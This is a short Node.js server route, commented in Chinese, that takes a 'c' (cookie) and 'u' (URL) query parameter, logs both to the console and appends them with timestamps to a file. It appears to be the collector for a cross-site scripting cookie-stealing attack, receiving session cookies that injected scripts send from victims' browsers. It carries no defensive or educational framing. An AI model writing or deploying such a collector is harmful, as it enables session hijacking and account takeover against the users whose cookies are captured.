﻿
/*
 * 获得传过来的cookie信息.
 */


exports.record = function (req, res) {
    var fs = require("fs");
    var pconfig = require("../common/config").config;
    var DateUtils = require("../common/dateUtils").DateUtils;
    var fullPath = pconfig.filePathPrefix + pconfig.fileName;
    var d = DateUtils.dateToString(new Date());
    var cookie = req.query.c?req.query.c:'';
    var url = req.query.u?req.query.u:'';
    console.log(cookie + '\t' + url);
    fs.writeFile(fullPath, '[' + d + ']cookie:' + cookie + '\n', { flag: 'a+' }, function (err) {
        if (err) throw err;
    });
    fs.writeFile(fullPath, '[' + d + ']url:' + url + '\n\n', { flag: 'a+' }, function (err) {
        if (err) throw err;
    });
    
    res.send("");
};